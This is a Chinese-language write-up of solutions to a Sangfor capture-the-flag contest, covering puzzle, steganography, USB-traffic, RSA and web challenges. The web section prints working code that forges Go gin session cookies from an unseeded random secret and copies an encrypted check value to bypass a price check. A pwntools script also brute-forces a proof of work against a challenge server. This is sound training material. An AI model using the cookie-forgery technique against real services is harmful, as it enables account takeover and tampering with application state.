难度相比今年其他比赛的话,已经算是十分舒适了,就是套娃太多了,哪个环节少个思路直接赛季报销
队伍成绩:1657.5pt/6kill/57名/167有解/398报名
个人成绩:1007.5pt/5kill/67名/319有解/1010报名

Misc

签到题[130killed 一血]

简简单单猜数字01-30 SangFor{md5(---.....)}(32位md5)

这题拿到之后是个gif,那就直接ps里面看帧呗。

file

这就八二法则或者叫二八法则呗,那就是28

file

太极八卦,那可能是28或者0828刚猜过,那就是08

file

三十而立,那就是30

file

明显的北斗七星,那就是07

file

四大才子,那就是04

file

歼20,那就是20

file

两个黄鹂鸣翠柳,可能是02

file

这题刚开始以为是F4,但是不对,后来一想可能是一起谐音17

file

23号球衣。

file

1马当先。

file

12星座或者12生肖。

file

新闻联播嘛,按照播出时间大概率是19或者07

最后拼合一下,再把几个不确定的都试一下,得到正确的情况是28-08-30-07-04-20-02-17-23-01-12-19,md5一下即可得到flag,可惜签到题的一血没有加成。

SangFor{d93b7da38d89c19f481e710ef1b3558b}

Misc520[33killed 二血]

有一天,zip爱上了pcap,zip为了能与pcap创造更多机会,不断地将自己的能力表现出来。可是,LSBSteg却突然杀了出来,将pcap吞并于png中,不放出来
。zip看到了png,多喝热水少做梦。zip异常的愤怒,不断地用自己的能力去报复png,不让png逃走。至今,zip仍未释怀。

打开附件一看,压缩包套娃,那就写个脚本解压到0.zip,从519.zip开始解压是因为520.zip的文件树不太一样。

from zipfile import ZipFile

for i in range(519, 0, -1):
    data = ZipFile(f'{i}.zip', 'r')
    with open(f'{i-1}.zip', 'wb') as f:
        f.write(data.read(f'{i-1}.zip'))

file

解压得到flag.png

根据题目描述尝试LSB隐写,调整至BGR时发现存在压缩包。

file

提取出来去掉头尾的无用数据后,打开发现需要密码,尝试伪密码无果,直接爆破得到密码12345,解压得到flag.pcap

file

打开发现是USB流量题,并且数据比较像鼠标流量(第一位00/01/02表示正常/左击/右击,第二位x轴偏移值,第三位y轴偏移值,第四位00

file

于是命令提取出鼠标数据,tshark.exe -r "flag.pcap" -T fields -e usb.capdata > "usbdata.txt"

用脚本读取数据,打出坐标。

nums = []
with open('usbdata.txt', 'r') as f:
    keys = f.read()
posx = 0
posy = 0
with open('trace0.txt', 'w') as f0:
    with open('trace1.txt', 'w') as f1:
        for line in keys.split('\n'):
            if len(line) != 8:
                continue
            c = int(line[0:2], 16)
            x = int(line[2:4], 16)
            y = int(line[4:6], 16)
            if x > 127:
                x -= 256
            if y > 127:
                y -= 256
            posx += x
            posy += y
            print(posx, posy)
            assert c in [0, 1, 2]
            if c == 0:
                f0.write(f'{posx} {posy}\n')
            elif c == 1 or c == 2:
                f1.write(f'{posx} {posy}\n')

其中移动数据写到trace0.txt里,左右点击数据移到trace1.txt里。

然后用gnuplot画出轨迹,plot "trace0.txt", "trace1.txt"

file

但是轨迹的y轴似乎反了,于是改一下脚本中的输出为反向y,f0.write(f'{posx} {-posy}\n'),再次运行并画出轨迹。

file

所以数据为111, 63, 130, 94, 51, 134, 119, 146(轨迹顺序)。

但是咋解都没有flag,不过后面主办方发了个补充说要把得到的GWHT{xxxx}换成Sangfor{xxxx},既然flag格式能得到,那就说明数据还没找完,但是流量包看了一遍已经充分利用了,所以还有一部分数据在LSB隐写里或者压缩包里。

先改刚才的解压脚本测一下压缩包。

from zipfile import ZipFile

for i in range(519, 0, -1):
    data = ZipFile(f'{i}.zip', 'r')
    assert len(data.filelist) == 2
    assert data.filelist[1].CRC == 2810921776
    with open(f'{i-1}.zip', 'wb') as f:
        f.write(data.read(f'{i-1}.zip'))

发现在150.zip的时候story文件的校验过不去,那说明这个文件和其他压缩包中的不是同一个,打开发现另一段数据。

file

根据文本可知这应该是第一段数据,鼠标流量是第二段数据。

然后GWHT的ascii71, 87, 72, 8472, 89, 75, 88十分相像,作差得到1, 2, 3, 4,所以应该是个古典密码变形。

写个脚本解。

a = [72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108,
     111, 63, 130, 94, 51, 134, 119, 146]

flag = ""
for i, x in enumerate(a):
    flag+=chr(x - i-1)
flag = flag.replace('GWHT', 'Sangfor')
print(flag)

但是得到的flagSangfor{W3lCom3_a0rM!sc}并不对,观察发现a0r没有实意,应该是这里出错了,对应的正好是鼠标流量的前三个111, 63, 130

那么猜测可能正确顺序并不是鼠标轨迹顺序,而是从左往右,于是倒一下这三个数,修改脚本再次运行得到flag。

a = [72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108,
     130, 63, 111, 94, 51, 134, 119, 146]

flag = ""
for i, x in enumerate(a):
    flag+=chr(x - i-1)
flag = flag.replace('GWHT', 'Sangfor')
print(flag)

Sangfor{W3lCom3_t0_M!sc}

Crypto

Bigrsa[99killed]

题目如下:

from Crypto.Util.number import *
from flag import *

n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061
n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n1)
c = pow(c, e, n2)

print("c = %d" % c)

# output
# c = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744554974358264

这题看到两个n,于是gcd一下,发现存在模不互素,于是直接改一下模不互素的通用脚本,先解出原始c(也就是第二次加密的明文c),再解出第一次加密的明文m。

import gmpy2
from Crypto.Util.number import long_to_bytes

c2 = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744554974358264
n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061
n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073

p12 = gmpy2.gcd(n1, n2)
assert (p12 != 1)
q1 = n1 / p12
q2 = n2 / p12
e = 65537
d1 = gmpy2.invert(e, (p12 - 1) * (q1 - 1))
d2 = gmpy2.invert(e, (p12 - 1) * (q2 - 1))

m2 = pow(c2, d2, n2)

c1 = m2
m1 = pow(c1, d1, n1)
print long_to_bytes(m1)

file

SangFor{qSccmm1WrgvIg2Uq_cZhmqNfEGTz2GV8}

RingRingRing[53killed]

连接上去过了watchdog后大致交互了一下。

file

发现逻辑大概是给出100个不同的正数a, b, c, d, e满足表达式a^4 + b^4 + c^4 + d^4 = e^2,化简下等式看看核心条件。

为了方便爆破假定等式a = b = c = d成立,可得4 * a^4 = e^2

因为不允许负数,所以直接开方得2 * a^2 = e,即e = 2 * a^2,所以遍历a[1, 100]就行,写个脚本直接拿flag。

from hashlib import md5
from string import digits, ascii_lowercase
from pwn import connect

def go(strend, hashstart):
    hexdigits = digits+ascii_lowercase[0:6]
    for i in hexdigits:
        for j in hexdigits:
            for k in hexdigits:
                for l in hexdigits:
                    for m in hexdigits:
                        for n in hexdigits:
                            str = i + j + k + l + m + n
                            if md5(f'{str}{strend}'.encode()).hexdigest()[0:5] == hashstart:
                                return str

if __name__ == '__main__':
    conn = connect('192.168.39.181', 2378)
    prevQ = conn.recvuntil(b'[>] Give me xxxxx: ')
    print(prevQ[36:40].decode(), prevQ[50:55].decode())
    prevA = go(prevQ[36:40].decode(), prevQ[50:55].decode())
    conn.sendline(prevA.encode())
    print(conn.recvlines(2))
    for _ in range(1, 101):
        for __ in range(4):
            print(conn.recvn(7))
            conn.send(str(_).encode())
        print(conn.recvn(7))
        conn.send(str((_ ** 2) * 2).encode())
        print(conn.recvlines(1))
    print(conn.recvlines(1))  # flag
    conn.close()

file

GWHT{a_funny_equation}

Web

Checkin_Go[42killed]

这题上去尝试一下可以知道第一层应该是把自己提升成admin

根据所给的网站源码,main.go中有这么一段初始化cookie的操作。

    storage := cookie.NewStore(randomChar(16))
    r.Use(sessions.Sessions("o", storage))

其中randomChar函数在handle.go中定义。

func randomChar(l int) []byte {
    output := make([]byte, l)
    rand.Read(output)
    return output
}

这里的话,go的rand.Read函数如果只给出位数不给出种子的话,其结果是固定的(内置种子始终为1),所以只要自己本地生成个就行。(现场下个GoLand现学哈哈哈)

编写本地web环境如下。

package main
import (
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
    "math/rand"
)
func main() {
    r := gin.Default()
    storage := cookie.NewStore(randomChar(16))
    r.Use(sessions.Sessions("o", storage))
    r.GET("/a",cookieHandler)
    r.Run("0.0.0.0:20702")
}
func cookieHandler(c *gin.Context){
    s := sessions.Default(c)
    s.Set("uname", "admin")
    s.Save()
}
func randomChar(l int) []byte {
    output := make([]byte, l)
    rand.Read(output)
    return output
}

启动之后访问http://127.0.0.1:20702/a去看下cookie即可拿到session。

MTYzMTQwOTMyOHxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQWNBQlhWdVlXMWxCbk4wY21sdVp3d0hBQVZoWkcxcGJnPT187JKQbwyTo-YsnconJPoJ66GQ-d4jqxyZQyxN4ydjWPM=

代到题目环境里,成功伪造成admin用户,尝试+1成功。

file

但是这个+1是加在flag price上的,那岂不是越来越远了。。。而且看源码可以发现是没法用负数的,newMoney = uint32(u1) + uint32(u2),只能用特大数去-1,那得减到啥时候去啊。

于是转换思路,把session里的其他值也给伪造了。

先把题目环境里的新session(存储了flag价格和自身余额后的)给复制到本地环境,然后改一下环境代码读一下数据看看。

MTYzMTQwOTQwN3xEdi1CQkFFQ180SUFBUkFCRUFBQV85cl9nZ0FGQm5OMGNtbHVad3dQQUExamFHVmphMDV2ZDAxdmJtVjVCbk4wY21sdVp3d1lBQlp2UzFFMU1IVnFNamx5Tld0VldraHhibTFVYWt0QkJuTjBjbWx1Wnd3TkFBdHdiR0Y1WlhKTmIyNWxlUU5wYm5RRUJBRC1KeEFHYzNSeWFXNW5EQklBRUdOb1pXTnJVR3hoZVdWeVRXOXVaWGtHYzNSeWFXNW5EQmdBRms5dFNGRTRjRUl5WkdsM1dFdDRNMUpOYUVwS1ZYY0djM1J5YVc1bkRBY0FCWFZ1WVcxbEJuTjBjbWx1Wnd3SEFBVmhaRzFwYmdaemRISnBibWNNQ2dBSWJtOTNUVzl1WlhrR2RXbHVkRE15QmdVQV9RTU5RUT09fCMJfXwZ3npAkRlNE4cPbYQA-f76ob0WqJxKf3iixFgG

func cookieHandler(c *gin.Context){
    s := sessions.Default(c)
    //s.Set("uname", "admin")
    fmt.Println(s.Get("uname"))
    fmt.Println(s.Get("nowMoney"))
    fmt.Println(s.Get("playerMoney"))
    fmt.Println(s.Get("checkNowMoney"))
    fmt.Println(s.Get("checkPlayerMoney"))
    //s.Save()
}

file

可以结合guess.go发现checkNowMoneycheckPlayerMoney这两个校验合法性用的值被aes加密了,如果只伪造nowMoney或者playerMoney的话,显然是不行的。

        checkNowMoney := AesDecrypt(fmt.Sprintf("%v", s.Get("checkNowMoney")), string(secret))
        if checkNowMoney == nowMoney {
            newMoney = uint32(u1) + uint32(u2)
            s.Set("nowMoney", newMoney)
            s.Set("checkNowMoney", AesEncrypt(strconv.Itoa(int(newMoney)), string(secret)))
            s.Save()
            c.String(200, "New money set.Refresh /game")
            return
        } else {
            c.String(200, "checkNowMoney is wrong")
        }

但是aes的密钥又获取不到,也不是啥项目默认值之类的,所以信息泄露的路子应该不是了。

那就直接用拷贝伪造吧,把代表着5000checkPlayerMoney拷贝数据到checkNowMoney,使得题目环境认为checkNowMoney解密后也是5000,然后把nowMoney改成5000,这样子拿flag的价格就只需要咱们本来就有的5000块钱了。

func cookieHandler(c *gin.Context){
    s := sessions.Default(c)
    //s.Set("uname", "admin")
    //fmt.Println(s.Get("uname"))
    //fmt.Println(s.Get("nowMoney"))
    s.Set("nowMoney", 5000)
    //fmt.Println(s.Get("playerMoney"))
    //fmt.Println(s.Get("checkNowMoney"))
    s.Set("checkNowMoney", s.Get("checkPlayerMoney"))
    //fmt.Println(s.Get("checkPlayerMoney"))
    s.Save()
}

拿着新构造的session cookie去题目环境,flag价格成功降至5000,且成功拿到flag。

MTYzMTQwOTQ1MXxEdi1CQkFFQ180SUFBUkFCRUFBQV85Yl9nZ0FGQm5OMGNtbHVad3dQQUExamFHVmphMDV2ZDAxdmJtVjVCbk4wY21sdVp3d1lBQlpQYlVoUk9IQkNNbVJwZDFoTGVETlNUV2hLU2xWM0JuTjBjbWx1Wnd3TkFBdHdiR0Y1WlhKTmIyNWxlUU5wYm5RRUJBRC1KeEFHYzNSeWFXNW5EQklBRUdOb1pXTnJVR3hoZVdWeVRXOXVaWGtHYzNSeWFXNW5EQmdBRms5dFNGRTRjRUl5WkdsM1dFdDRNMUpOYUVwS1ZYY0djM1J5YVc1bkRBY0FCWFZ1WVcxbEJuTjBjbWx1Wnd3SEFBVmhaRzFwYmdaemRISnBibWNNQ2dBSWJtOTNUVzl1WlhrRGFXNTBCQVFBX2ljUXzZWIK9E4_5hoihxAAEy-cw_RQLsjIYeHJx-A4afoUz3w==

file

Sangfor{6MwPknlwyMsCTBK/u7uwJxPgsW9fZTHm}


The End